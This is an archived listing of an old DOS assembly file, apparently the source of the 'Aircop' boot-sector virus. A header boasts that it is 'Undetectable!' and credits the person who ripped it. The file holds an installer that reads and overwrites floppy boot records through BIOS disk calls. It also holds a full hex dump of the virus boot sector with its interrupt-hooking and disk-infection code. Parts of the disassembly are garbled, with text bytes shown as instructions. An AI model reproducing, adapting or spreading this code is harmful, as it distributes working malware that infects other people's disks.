home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / AIRCOP.ASM < prev    next >
Encoding:
Assembly Source File  |  1991-08-09  |  12.4 KB  |  468 lines
  1. ╒════════════════════════════════════════════════════╕
  2. │ Aircop Virus (c)RABiD Source Code                  │
  3. │ Ripped by : The Head Hunter [FïS]                  │
  4. │                                                    │
  5. │ Seem's this baby only work on Bare 360k Drive      │
  6. │ System. Neat Anywayz. And it's Undetectable!       │
  7. │                                                    │
  8. │                                                    │
  9. ╘════════════════════════════════════════════════════╛
  10.   MOV    AX, CS
  11.   MOV    DS, AX
  12.   MOV    SP, 03b6h
  13.   MOV    AH, 00h
  14.   MOV    AL, 03h
  15.   INT    10h        ;Set video mode
  16.   MOV    DX, 052bh
  17.   MOV    AH, 09h
  18.   INT    21h        ;"AIRCOP Test Version"
  19.   MOV    DX, 03c3h
  20.   MOV    AH, 09h
  21.   INT    21h        ;"
  22.  
  23.  
  24.   MOV    DX, 04e5h
  25.   MOV    AH, 09h
  26.   INT    21h        ;"Aircop Virus$Cannot"
  27.   MOV    DX, 0464h
  28.   MOV    AH, 09h
  29.   INT    21h        ;"" into your 360K di"
  30.   MOV    DX, 0480h
  31.   MOV    AH, 09h
  32.   INT    21h        ;"Put a 360K (Blank F"
  33.   MOV    AX, 0040h
  34.   MOV    ES, AX
  35.  
  36.   PUSH   WORD PTR ES:[Data5]
  37.  
  38.   POP    WORD PTR ES:[Data6]
  39.   MOV    AX, CS
  40.   MOV    ES, AX
  41.   MOV    AH, 08h
  42.   INT    21h        ;Get char w/o echo
  43.   MOV    CX, 0003h
  44.   PUSH   CX
  45.   MOV    AX, 0201h
  46.   MOV    BX, 05d0h
  47.   MOV    CX, 0001h
  48.   MOV    DX, 0000h
  49.   INT    13h        ;Read disk sectors
  50.   POP    CX
  51.   JNB    Jmp0
  52.   LOOP   Data7
  53.   MOV    DX, 04f2h
  54.   MOV    AH, 09h
  55.   INT    21h        ;"Cannot read boot re"
  56.   MOV    AX, 4cffh
  57.   INT    21h        ;Exit
  58.  
  59.   XOR    WORD PTR CS:[BP+Data17], 7420h
  60.   PUSH   CX
  61.   MOV    AX, 0301h
  62.   MOV    BX, 05d0h
  63.   MOV    CX, 2709h
  64.   MOV    DX, 0100h
  65.   INT    13h        ;Write disk sectors
  66.   POP    CX
  67.   JNB    Jmp4
  68.   LOOP   Data18
  69.   MOV    DX, 050eh
  70.   MOV    AH, 09h
  71.   INT    21h        ;"Cannot write boot r"
  72.   MOV    AX, 4cffh
  73.   INT    21h        ;Exit
  74.  
  75.   MOV    CX, 0003h
  76.   PUSH   CX
  77.   MOV    AX, 0301h
  78.   MOV    BX, 07d0h
  79.   MOV    CX, 0001h
  80.   MOV    DX, 0000h
  81.   INT    13h        ;Write disk sectors
  82.   POP    CX
  83.   JNB    Jmp5
  84.   LOOP   Data20
  85.   MOV    DX, 057ch
  86.   MOV    AH, 09h
  87.   INT    21h        ;"Cannot write virus "
  88.   MOV    AX, 4cffh
  89.   INT    21h        ;Exit
  90.  
  91.   MOV    DX, 04e5h
  92.   MOV    AH, 09h
  93.   INT    21h        ;"Aircop Virus$Cannot"
  94.   MOV    DX, 059eh
  95.   MOV    AH, 09h
  96.   INT    21h        ;" was installed into"
  97.   MOV    AX, 4c00h
  98.   INT    21h        ;Exit
  99.   db     'STACK   STACK   STAC'
  100.   db     'K   STACK   STACK   '
  101.   db     'STACK   STACK   STAC'
  102.   db     'K   STACK   STACK   '
  103.   db     'STACK   STACK   STAC'
  104.   db     'K   STACK   STACK   '
  105.   db     'STACK   STACK  '
  106.   AND    BYTE PTR [BP+DI+Data9], DL
  107.   INC    CX
  108.   INC    BX
  109.   DEC    BX
  110.   AND    BYTE PTR [BX+SI], AH
  111.   AND    BYTE PTR [BP+DI+Data9], DL
  112.   INC    CX
  113.   INC    BX
  114.   DEC    BX
  115.   AND    BYTE PTR [BX+SI], AH
  116.   AND    BYTE PTR [BP+DI+Data9], DL
  117.   INC    CX
  118.   INC    BX
  119.   DEC    BX
  120.   AND    BYTE PTR [BX+SI], AH
  121.   AND    BYTE PTR [BP+DI+Data9], DL
  122.   INC    CX
  123.   INC    BX
  124.   DEC    BX
  125.   AND    BYTE PTR [BX+SI], AH
  126.   AND    BYTE PTR [BP+DI+Data9], DL
  127.   INC    CX
  128.   INC    BX
  129.   DEC    BX
  130.   AND    BYTE PTR [BX+SI], AH
  131.   AND    BYTE PTR [BP+DI+Data9], DL
  132.   INC    CX
  133.   INC    BX
  134.   DEC    BX
  135.   AND    BYTE PTR [BX+SI], AH
  136.   AND    BYTE PTR [BP+DI+Data9], DL
  137.   INC    CX
  138.   INC    BX
  139.   DEC    BX
  140.   AND    BYTE PTR [BX+SI], AH
  141.   AND    BYTE PTR [BP+DI+Data9], DL
  142.   INC    CX
  143.   INC    BX
  144.   DEC    BX
  145.   AND    BYTE PTR [BX+SI], AH
  146.   AND    BYTE PTR [BP+DI+Data9], DL
  147.   INC    CX
  148.   INC    BX
  149.   DEC    BX
  150.   AND    BYTE PTR [BX+SI], AH
  151.   AND    BYTE PTR [BP+DI+Data9], DL
  152.   INC    CX
  153.   INC    BX
  154.   DEC    BX
  155.   AND    BYTE PTR [BX+SI], AH
  156.   AND    BYTE PTR [BP+DI+Data9], DL
  157.   INC    CX
  158.   INC    BX
  159.   DEC    BX
  160.   AND    BYTE PTR [BX+SI], AH
  161.   AND    BYTE PTR [BP+DI+Data9], DL
  162.   INC    CX
  163.   INC    BX
  164.   DEC    BX
  165.   AND    BYTE PTR [BX+SI], AH
  166.   AND    BYTE PTR [BP+DI+Data9], DL
  167.   INC    CX
  168.   INC    BX
  169.   DEC    BX
  170.   AND    BYTE PTR [BX+SI], AH
  171.   AND    BYTE PTR [BP+DI+Data9], DL
  172.   INC    CX
  173.   INC    BX
  174.   DEC    BX
  175.   AND    BYTE PTR [BX+SI], AH
  176.   AND    BYTE PTR [BP+DI+Data9], DL
  177.   INC    CX
  178.   INC    BX
  179.   DEC    BX
  180.   AND    BYTE PTR [BX+SI], AH
  181.   AND    BYTE PTR [BP+DI+Data9], DL
  182.   INC    CX
  183.   INC    BX
  184.   DEC    BX
  185.   AND    BYTE PTR [BX+SI], AH
  186.   AND    BYTE PTR [BP+DI+Data9], DL
  187.   INC    CX
  188.   INC    BX
  189.   DEC    BX
  190.   AND    BYTE PTR [BX+SI], AH
  191.   AND    BYTE PTR [BP+DI+Data9], DL
  192.   INC    CX
  193.   INC    BX
  194.   DEC    BX
  195.   AND    BYTE PTR [BX+SI], AH
  196.   AND    BYTE PTR [BP+DI+Data9], DL
  197.   INC    CX
  198.   INC    BX
  199.   DEC    BX
  200.   AND    BYTE PTR [BX+SI], AH
  201.   AND    BYTE PTR [BP+DI+Data9], DL
  202.   INC    CX
  203.   INC    BX
  204.   DEC    BX
  205.   AND    BYTE PTR [BX+SI], AH
  206.   AND    BYTE PTR [BP+DI+Data9], DL
  207.   INC    CX
  208.   INC    BX
  209.   DEC    BX
  210.   AND    BYTE PTR [BX+SI], AH
  211.   AND    BYTE PTR [BP+DI+Data9], DL
  212.   INC    CX
  213.   INC    BX
  214.   DEC    BX
  215.   AND    BYTE PTR [BX+SI], AH
  216.   AND    BYTE PTR [BP+DI+Data9], DL
  217.   INC    CX
  218.   INC    BX
  219.   DEC    BX
  220.   AND    BYTE PTR [BX+SI], AH
  221.   AND    BYTE PTR [BP+DI+Data9], DL
  222.   INC    CX
  223.   INC    BX
  224.   DEC    BX
  225.   AND    BYTE PTR [BX+SI], AH
  226.   AND    BYTE PTR [BP+DI+Data9], DL
  227.   INC    CX
  228.   INC    BX
  229.   DEC    BX
  230.   AND    BYTE PTR [BX+SI], AH
  231.   AND    BYTE PTR [BP+DI+Data9], DL
  232.   INC    CX
  233.   INC    BX
  234.   DEC    BX
  235.   AND    BYTE PTR [BX+SI], AH
  236.   AND    BYTE PTR [BP+DI+Data9], DL
  237.   INC    CX
  238.   INC    BX
  239.   DEC    BX
  240.   AND    BYTE PTR [BX+SI], AH
  241.   AND    BYTE PTR [BP+DI+Data9], DL
  242.   INC    CX
  243.   INC    BX
  244.   DEC    BX
  245.   AND    BYTE PTR [BX+SI], AH
  246.   AND    BYTE PTR [BP+DI+Data9], DL
  247.   INC    CX
  248.   INC    BX
  249.   DEC    BX
  250.   AND    BYTE PTR [BX+SI], AH
  251.   AND    BYTE PTR [BP+DI+Data9], DL
  252.   INC    CX
  253.   INC    BX
  254.   DEC    BX
  255.   AND    BYTE PTR [BX+SI], AH
  256.   AND    BYTE PTR [BP+DI+Data9], DL
  257.   INC    CX
  258.   INC    BX
  259.   DEC    BX
  260.   AND    BYTE PTR [BX+SI], AH
  261.   AND    BYTE PTR [BP+DI+Data9], DL
  262.   INC    CX
  263.   INC    BX
  264.   DEC    BX
  265.   AND    BYTE PTR [BX+SI], AH
  266.   AND    BYTE PTR [BP+DI+Data9], DL
  267.   INC    CX
  268.   INC    BX
  269.   DEC    BX
  270.   AND    BYTE PTR [BX+SI], AH
  271.   AND    BYTE PTR [BP+DI+Data9], DL
  272.   INC    CX
  273.   INC    BX
  274.   DEC    BX
  275.   AND    BYTE PTR [BX+SI], AH
  276.   AND    BYTE PTR [BP+DI+Data9], DL
  277.   INC    CX
  278.   INC    BX
  279.   DEC    BX
  280.   AND    BYTE PTR [BX+SI], AH
  281.   AND    BYTE PTR [BP+DI+Data9], DL
  282.   INC    CX
  283.   INC    BX
  284.   DEC    BX
  285.   AND    BYTE PTR [BX+SI], AH
  286.   AND    BYTE PTR [BP+DI+Data9], DL
  287.   INC    CX
  288.   INC    BX
  289.   DEC    BX
  290.   AND    BYTE PTR [BX+SI], AH
  291.   AND    BYTE PTR [BP+DI+Data9], DL
  292.   INC    CX
  293.   INC    BX
  294.   DEC    BX
  295.   AND    BYTE PTR [BX+SI], AH
  296.   AND    BYTE PTR [BP+DI+Data9], DL
  297.   INC    CX
  298.   INC    BX
  299.   DEC    BX
  300.   AND    BYTE PTR [BX+SI], AH
  301.   AND    BYTE PTR [BP+DI+Data9], DL
  302.   INC    CX
  303.   INC    BX
  304.   DEC    BX
  305.   AND    BYTE PTR [BX+SI], AH
  306.   AND    BYTE PTR [BP+DI+Data9], DL
  307.   INC    CX
  308.   INC    BX
  309.   DEC    BX
  310.   AND    BYTE PTR [BX+SI], AH
  311.   AND    BYTE PTR [BP+DI+Data9], DL
  312.   INC    CX
  313.   INC    BX
  314.   DEC    BX
  315.   AND    BYTE PTR [BX+SI], AH
  316.   AND    BYTE PTR [BP+DI+Data9], DL
  317.   INC    CX
  318.   INC    BX
  319.   DEC    BX
  320.   AND    BYTE PTR [BX+SI], AH
  321.   AND    BYTE PTR [BP+DI+Data9], DL
  322.   INC    CX
  323.   INC    BX
  324.   DEC    BX
  325.   AND    BYTE PTR [BX+SI], AH
  326.   AND    BYTE PTR [BP+DI+Data9], DL
  327.   INC    CX
  328.   INC    BX
  329.   DEC    BX
  330.   AND    BYTE PTR [BX+SI], AH
  331.   AND    BYTE PTR [BP+DI+Data9], DL
  332.   INC    CX
  333.   INC    BX
  334.   DEC    BX
  335.   AND    BYTE PTR [BX+SI], AH
  336.   AND    BYTE PTR [BP+DI+Data9], DL
  337.   INC    CX
  338.   INC    BX
  339.   DEC    BX
  340.   AND    BYTE PTR [BX+SI], AH
  341.   AND    BYTE PTR [DI], CL
  342.  
  343.   OR     AL, BYTE PTR [BX+DI+Data11]
  344.   JZ     Jmp1
  345.   OUTSB
  346.   JZ     Jmp2
  347.   OUTSW
  348.   OUTSB
  349.   CMP    AH, BYTE PTR [BX+SI]
  350.   PUSH   SP
  351.   PUSH   BYTE PTR [BX+DI+Data12], 7620h
  352.   db     'irus sample uses onl'
  353.   db     'y in research teams.'
  354.   db     0d,0a
  355.   db     '           Please do'
  356.   db     ' not use in joking o'
  357.   db     'r setting tra'
  358.  
  359.   XOR    WORD PTR CS:[BX+SI], 6e69h
  360.  
  361.   XOR    WORD PTR CS:[BP+SI+Data13], 2073h
  362.   OUTSW
  363.   OUTSB
  364.   AND    BYTE PTR [BP+DI+Data14], DH
  365.   INSW
  366.   db     'eone.'
  367.   db     0d,0a,0d,0a
  368.   db     'Warning! This file i'
  369.  
  370.   XOR    WORD PTR CS:[BX+Data15], 2e65h
  371.   db     'nstalls "$" into you'
  372.  
  373.   db     'r 360K disk!'
  374.   db     0d,0a,0d,0a,07
  375.   db     '$Put a 360K (Blank F'
  376.  
  377.   db     'ormatted) disk into '
  378.   db     'drive A:'
  379.   db     0d,0a
  380.   db     'Strike any key to in'
  381.   db     'stall, or CTRL-BREAK'
  382.   db     ' to quit.'
  383.   db     0d,0a
  384.   db     '$Aircop Virus$Cannot'
  385.  
  386.  
  387.   db     ' read boot record.'
  388.   db     0d,0a,07
  389.   db     '$Cannot write boot r'
  390.  
  391.   db     'ecord.'
  392.   db     0d,0a,07
  393.   db     '$AIRCOP Test Version'
  394.  
  395.   db     ': Property of The RA'
  396.   db     'BID Nat'nl Developme'
  397.   db     'nt Corp. '91'
  398.   db     0d,0a,20,24,0d,0a,0d,0a,0d,0a
  399.  
  400.   db     'Cannot write virus b'
  401.   db     'oot record'
  402.   db     0d,0a,07
  403.   db     '$ was installed into'
  404.  
  405.   db     ' this 360K disk. BE '
  406.   db     'CAREFUL!'
  407.   db     0d,0a,24,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  408.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  409.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  410.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  411.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  412.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  413.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  414.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  415.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  416.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  417.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  418.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  419.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  420.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  421.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  422.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  423.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  424.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  425.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  426.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  427.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  428.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  429.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  430.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  431.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  432.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,eb,34,90,49,42
  433.   db     'M  3.3'
  434.   db     00,02,02,01,00,02,70,00,d0,02,fd,02,00,09,00,02,00,00,00,00
  435.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,12,00,00,00
  436.   db     00,01,00,fa,33,c0,8e,d8,8e,d0,bb,00,7c,8b,e3,1e,53,ff,0e,13
  437.   db     04,cd,12,b1,06,d3,e0,8e,c0,87,06,4e,00,a3,ab,7d,b8,28,01,87
  438.   db     06,4c,00,a3,a9,7d,8c,c0,87,06,66,00,a3,af,7d,b8,bb,00,87,06
  439.   db     64,00,a3,ad,7d,33,ff,8b,f3,b9,00,01,fc,f3,a5,fb,06,b8,85,00
  440.   db     50,cb,53,32,d2,e8,70,00,5b,1e,07,b4,02,b6,01,e8,8a,00,72,10
  441.   db     0e,1f,be,0b,00,bf,0b,7c,b9,2b,00,fc,f3,a6,74,07,5b,58,0e,b8
  442.   db     af,00,50,cb,0e,1f,be,db,01,e8,23,00,32,e4,cd,16,33,c0,cd,13
  443.   db     0e,07,bb,0d,02,b9,06,00,33,d2,b8,01,02,cd,13,72,df,b9,f0,0f
  444.   db     8e,d9,2e,ff,2e,ad,01,bb,07,00,fc,ac,0a,c0,74,44,79,05,34,d7
  445.   db     80,cb,88,3c,20,76,07,b9,01,00,b4,09,cd,10,b4,0e,cd,10,eb,df
  446.   db     bb,00,02,b9,02,00,8a,e1,e8,17,00,b9,09,27,26,80,37,fd,74,03
  447.   db     b9,0f,4f,eb,13,90,b4,02,bb,00,02,b9,01,00,b6,00,b0,01,9c,2e
  448.   db     ff,1e,a9,01,c3,50,53,51,52,06,1e,56,57,9c,0e,1f,80,fa,01,77
  449.   db     54,25,00,fe,74,4f,86,c5,d0,e0,02,c6,b4,09,f6,e4,03,c1,2c,06
  450.   db     3d,06,00,77,3c,0e,07,e8,c0,ff,72,30,bf,43,00,be,50,02,b9,0e
  451.   db     00,fd,f3,a6,74,27,2b,f1,2b,f9,b1,33,f3,a4,e8,8b,ff,51,53,e8
  452.   db     a0,ff,b4,03,33,db,e8,9e,ff,5b,59,72,07,b6,01,b4,03,e8,98,ff
  453.   db     33,c0,e8,95,ff,b4,04,cd,1a,80,fe,09,75,06,be,b1,01,e8,3f,ff
  454.   db     9d,5f,5e,1f,07
  455.   db     'ZY[X.'
  456.   db     ff,2e,a9,01,59,ec,02,c6,f2,e6,00,f0,da,dd,20,83,bf,be,a4,f7
  457.   db     be,a4,f7,96,be,a5,b4,b8,a7,da,dd,00
  458.   db     'IO      SYSMSDOS   S'
  459.   db     59,53,0d,0a
  460.   db     'Non-system disk or d'
  461.   db     'isk error'
  462.   db     0d,0a,00,00,55,aa
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469.